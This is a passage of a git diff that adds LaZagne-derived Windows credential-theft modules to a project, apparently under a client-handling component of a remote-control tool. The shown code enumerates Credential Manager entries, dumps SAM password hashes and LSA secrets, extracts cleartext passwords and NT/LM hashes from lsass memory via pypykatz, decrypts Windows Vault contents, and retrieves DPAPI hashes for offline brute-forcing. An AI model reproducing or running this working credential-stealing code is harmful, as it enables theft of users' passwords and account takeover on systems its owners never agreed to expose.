+ if CredEnumerate(None, 0, byref(count), byref(creds)) == 1:
+ for i in range(count.value):
+ c = creds[i].contents
+ if c.Type == CRED_TYPE_GENERIC or c.Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:
+ # Remove password too long
+ if c.CredentialBlobSize.real < 200:
+ pwd_found.append({
+ 'URL': c.TargetName,
+ 'Login': c.UserName,
+ 'Password': c.CredentialBlob[:c.CredentialBlobSize.real] # \\x00 could be deleted
+ })
+
+ CredFree(creds)
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/hashdump.py
new file mode 100644
index 0000000..2d53f28
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/hashdump.py
@@ -0,0 +1,15 @@
+# -*- coding: utf-8 -*-
+from .creddump7.win32.hashdump import dump_file_hashes
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class Hashdump(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'hashdump', 'windows', system_module=True)
+
+ def run(self):
+ hashdump = dump_file_hashes(constant.hives['system'], constant.hives['sam'])
+ if hashdump:
+ pwd_found = ['__Hashdump__', hashdump]
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py b/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py
new file mode 100644
index 0000000..42645d6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py
@@ -0,0 +1,34 @@
+# -*- coding: utf-8 -*-
+import struct
+
+from .creddump7.win32.lsasecrets import get_file_secrets
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import get_os_version
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class LSASecrets(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'lsa_secrets', 'windows', system_module=True)
+
+ def run(self):
+
+ # DPAPI structure could compute lsa secrets as well, so do not do it again
+ if constant.lsa_secrets:
+ return ['__LSASecrets__', constant.lsa_secrets]
+
+ is_vista_or_higher = False
+ if float(get_os_version()) >= 6.0:
+ is_vista_or_higher = True
+
+ # Get LSA Secrets
+ secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher)
+ if secrets:
+ # Clear DPAPI master key
+ clear = secrets[b'DPAPI_SYSTEM']
+ size = struct.unpack_from("<L", clear)[0]
+ secrets[b'DPAPI_SYSTEM'] = clear[16:16 + 44]
+
+ # Keep value to be reused in other module (e.g wifi)
+ constant.lsa_secrets = secrets
+ return ['__LSASecrets__', secrets]
diff --git a/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py b/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py
new file mode 100644
index 0000000..d0d91d1
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py
@@ -0,0 +1,73 @@
+# -*- coding: utf-8 -*-
+
+# Thanks to @skelsec for his awesome tool Pypykatz
+# Checks his project here: https://github.com/skelsec/pypykatz
+
+import codecs
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+from pypykatz.pypykatz import pypykatz
+
+
+class Pypykatz(ModuleInfo):
+ """
+ Pypykatz dumps all secrets from the lsass.exe memory
+ It does not work if:
+ - LSASS is running as a protected process
+ - A security product blocks this access
+ """
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True)
+
+ def run(self):
+ mimi = None
+ try:
+ mimi = pypykatz.go_live()
+ except Exception:
+ pass
+
+ if mimi:
+ results = {}
+ logon_sessions = mimi.to_dict().get('logon_sessions', [])
+ for logon_session in logon_sessions:
+
+ # Right now kerberos_creds, dpapi_creds and credman_creds results are not used
+ user = logon_sessions[logon_session].to_dict()
+
+ # Get cleartext password
+ for i in ['ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']:
+ for data in user.get(i, []):
+ if all((data['username'], data['domainname'], data['password'])):
+ login = data['username']
+ if login not in results:
+ results[login] = {}
+
+ results[login]['Domain'] = data['domainname']
+ results[login]['Password'] = data['password']
+
+ # msv_creds to get sha1 user hash
+ for data in user.get('msv_creds', []):
+ if data['username']:
+ login = data['username']
+ else:
+ login = user['username']
+
+ if login not in results:
+ results[login] = {}
+
+ if data['SHAHash']:
+ results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex')
+ if data['LMHash']:
+ results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex')
+ if data['NThash']:
+ results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex')
+
+ constant.pypykatz_result = results
+ pwd_found = []
+ for user in results:
+ results[user]['Login'] = user
+ pwd_found.append(results[user])
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/vault.py b/foreign/client_handling/lazagne/softwares/windows/vault.py
new file mode 100644
index 0000000..9c8e8cc
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/vault.py
@@ -0,0 +1,71 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import *
+from ctypes.wintypes import *
+
+
+class Vault(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'vault', 'windows', only_from_current_user=True)
+
+ def run(self):
+
+ # retrieve passwords (IE, etc.) using the Windows Vault API
+ if float(get_os_version()) <= 6.1:
+ self.info(u'Vault not supported for this OS')
+ return
+
+ cbVaults = DWORD()
+ vaults = LPGUID()
+ hVault = HANDLE(INVALID_HANDLE_VALUE)
+ cbItems = DWORD()
+ items = c_char_p()
+ pwd_found = []
+
+ if vaultEnumerateVaults(0, byref(cbVaults), byref(vaults)) == 0:
+ if cbVaults.value == 0:
+ self.debug(u'No Vaults found')
+ return
+ else:
+ for i in range(cbVaults.value):
+ if vaultOpenVault(byref(vaults[i]), 0, byref(hVault)) == 0:
+ if hVault:
+ if vaultEnumerateItems(hVault, 0x200, byref(cbItems), byref(items)) == 0:
+
+ for j in range(cbItems.value):
+
+ items8 = cast(items, POINTER(VAULT_ITEM_WIN8))
+ pItem8 = PVAULT_ITEM_WIN8()
+ try:
+ values = {
+ 'URL': str(items8[j].pResource.contents.data.string),
+ 'Login': str(items8[j].pUsername.contents.data.string)
+ }
+ if items8[j].pName:
+ values['Name'] = items8[j].pName
+
+ if vaultGetItem8(hVault, byref(items8[j].id), items8[j].pResource,
+ items8[j].pUsername, items8[j].unknown0, None, 0,
+ byref(pItem8)) == 0:
+
+ password = pItem8.contents.pPassword.contents.data.string
+ # Remove password too long
+ if password and len(password) < 100:
+ values['Password'] = password
+
+ pwd_found.append(values)
+
+ except Exception as e:
+ self.debug(e)
+
+ if pItem8:
+ vaultFree(pItem8)
+
+ if items:
+ vaultFree(items)
+
+ vaultCloseVault(byref(hVault))
+
+ vaultFree(vaults)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py b/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py
new file mode 100644
index 0000000..57544b8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py
@@ -0,0 +1,23 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+import os
+
+
+class VaultFiles(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'vaultfiles', 'windows', dpapi_used=True)
+
+ def run(self):
+
+ pwd_found = []
+ if constant.user_dpapi and constant.user_dpapi.unlocked:
+ main_vault_directory = os.path.join(constant.profile['APPDATA'], u'..', u'Local', u'Microsoft', u'Vault')
+ main_vault_directory = os.path.abspath(main_vault_directory)
+ if os.path.exists(main_vault_directory):
+ for vault_directory in os.listdir(main_vault_directory):
+ cred = constant.user_dpapi.decrypt_vault(os.path.join(main_vault_directory, vault_directory))
+ if cred:
+ pwd_found.append(cred)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/windows.py b/foreign/client_handling/lazagne/softwares/windows/windows.py
new file mode 100644
index 0000000..7527f3c
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/windows.py
@@ -0,0 +1,77 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_LOCAL_MACHINE
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.users import get_username_winapi
+
+
+class WindowsPassword(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'windows', 'windows')
+ self.current_user = get_username_winapi()
+
+ def is_in_domain(self):
+ """
+ Return the context of the host
+ If a domain controller is set we are in an active directory.
+ """
+ try:
+ key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\')
+ val, _ = winreg.QueryValueEx(key, 'DCName')
+ winreg.CloseKey(key)
+ return val
+ except Exception:
+ return False
+
+ def run(self):
+ """
+ - Check if the user password has already be found using Pypykatz
+ - If not, check if a password stored in another application is also used as windows password
+ - Windows password not found, return the DPAPI hash (not admin priv needed) to bruteforce using John or Hashcat
+ """
+ # Check if password has already been found
+ if constant.pypykatz_result.get(self.current_user, None):
+ if 'Password' in constant.pypykatz_result[self.current_user]:
+ # Password already printed on the Pypykatz module - do not print it again
+ self.info('User has already be found: {password}'.format(
+ password=constant.pypykatz_result[self.current_user]['Password'])
+ )
+ return
+
+ # Password not already found
+ pwd_found = []
+ if constant.user_dpapi and constant.user_dpapi.unlocked:
+ # Check if a password already found is a windows password
+ password = constant.user_dpapi.get_cleartext_password()
+ if password:
+ pwd_found.append({
+ 'Login': constant.username,
+ 'Password': password
+ })
+ else:
+ # Retrieve dpapi hash used to bruteforce (hash can be retrieved without needed admin privilege)
+ # Method taken from Jean-Christophe Delaunay - @Fist0urs
+ # https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf
+
+ self.info(
+ u'Windows passwords not found.\n'
+ u'Try to bruteforce this hash (using john or hashcat)'
+ )
+ if constant.user_dpapi:
+ context = 'local'
+ if self.is_in_domain():
+ context = 'domain'
+
+ h = constant.user_dpapi.get_dpapi_hash(context=context)
+ if h:
+ pwd_found.append({
+ 'Dpapi_hash_{context}'.format(context=context): constant.user_dpapi.get_dpapi_hash(
+ context=context)
+ })
+
+ return pwd_found